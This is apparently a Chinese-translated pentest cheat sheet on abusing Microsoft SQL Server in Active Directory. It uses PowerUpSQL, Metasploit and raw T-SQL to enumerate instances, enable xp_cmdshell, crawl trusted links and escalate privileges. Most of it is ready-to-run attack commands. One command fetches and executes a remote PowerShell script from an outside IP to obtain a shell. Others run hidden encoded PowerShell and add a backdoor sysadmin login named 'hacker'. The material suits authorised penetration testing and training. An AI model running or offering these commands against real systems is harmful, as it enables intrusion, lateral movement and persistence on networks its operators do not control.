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MSSQL AD Abuse

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MSSQL 枚举 / 发现

在这种情况下，PowerUpSQL powershell 模块非常有用。

Import-Module .\PowerupSQL.psd1

无需域会话从网络枚举

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

从域内进行枚举

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

MSSQL基本滥用

访问数据库

#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize

MSSQL RCE

可能还可以在 MSSQL 主机内部执行命令

Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary

MSSQL基本黑客技巧

page1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL信任链接

如果一个MSSQL实例被另一个MSSQL实例信任（数据库链接）。如果用户对受信任的数据库有特权，他将能够利用信任关系在另一个实例中执行查询。这些信任关系可以被链接在一起，最终用户可能能够找到一些配置不当的数据库，从而执行命令。

数据库之间的链接甚至可以跨越森林信任。

Powershell滥用

#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'

Metasploit

您可以使用 Metasploit 轻松检查受信任的链接。

#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

注意，metasploit 将尝试仅滥用 MSSQL 中的 openquery() 函数（因此，如果您无法使用 openquery() 执行命令，则需要尝试手动使用 EXECUTE 方法执行命令，详见下文。）

手动 - Openquery()

从 Linux，您可以使用 sqsh 和 mssqlclient.py 获得 MSSQL 控制台 shell。

从 Windows，您还可以找到链接，并使用类似 MSSQL 客户端 HeidiSQL 手动执行命令。

使用 Windows 身份验证登录：

查找可信链接

select * from master..sysservers;
EXEC sp_linkedservers;

在可信链接中执行查询

通过链接执行查询（示例：在新可访问实例中查找更多链接）:

select * from openquery("dcorp-sql1", 'select * from master..sysservers')

检查双引号和单引号的使用方式，以这种方式使用它们非常重要。

您可以手动无限延续这些受信任的链接链。

# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')

手动 - EXECUTE

您还可以使用EXECUTE来滥用受信任的链接：

#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

本地权限提升

MSSQL本地用户通常具有一种称为**SeImpersonatePrivilege**的特殊特权。这允许该帐户在身份验证后“模拟客户端”。

许多作者提出的一种策略是强制SYSTEM服务对攻击者创建的恶意或中间人服务进行身份验证。然后，这个恶意服务能够在SYSTEM服务尝试进行身份验证时冒充SYSTEM服务。

SweetPotato拥有这些各种技术的集合，可以通过Beacon的execute-assembly命令执行。

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